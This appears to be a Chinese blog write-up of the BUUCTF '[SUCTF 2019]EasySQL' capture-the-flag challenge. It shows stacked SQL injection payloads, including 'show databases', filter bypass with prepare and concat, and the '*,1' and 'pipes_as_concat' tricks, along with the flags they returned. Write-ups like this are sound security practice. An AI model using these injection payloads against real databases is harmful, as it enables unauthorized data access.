buuctf [SUCTF 2019]EasySQL

 让我给他flag,他帮我看一看是不是真的。输个1试

输入不为零的数字都有回显,字母不回显,输入1'试试

其他类型也不回显,说明是整数型,输入union语句试试

似乎被禁了,布尔和时间也被禁了,那就试试新学的堆叠注入,1;show databases;#

1;show tables;#

之后用预处理语句,1;prepare 222 from concat('s','elect','* from Flag');execute 222;#

发现是 from,Flag,prepare被禁了,之后我

1;concat('pre','pare') 222 concat('fr','om') concat('s','elect','* fr','om',' Fl','ag');execute 222;#

然而太长了,不行,最后没办法了,就看wp,发现(来源

1、由于没有过滤*所以可以直接构造payload
payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag
先查找全部 [0] => flag{fd583590-4eef-4964-8fe5-ecd4ad6411e5},然后在查找1 [1] => 1
得到结果
Array ( [0] => flag{fd583590-4eef-4964-8fe5-ecd4ad6411e5} [1] => 1 )

2、查询语句select $_GET['query'] || flag from flag中的|作用为‘或’,所以可以使用set sql_mode=pipes_as_concat 将|设置为‘和’。

pipes_as_concat:将导致 “||” 字符串被视为一个标准的 SQL 字符串合并操作符,而不是 “OR” 操作符的一个同义词。

payload: 1;set sql_mode=pipes_as_concat;select 1
拼接后的语句为:1;set sql_mode=pipes_as_concat;select 1||flag from Flag
先查找1:Array ( [0] => 1 );设置|的作用,由‘或’设置为‘和’;
再查询1,此时由于|为和查询,所以select 1 || flag from flag,1和flag都会被查询:Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )。
得到结果
Array ( [0] => 1 ) Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )。

总结:对于sql注入题,最好是可以猜测出查询语句的大概,只有这样才能更好的解题。


 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值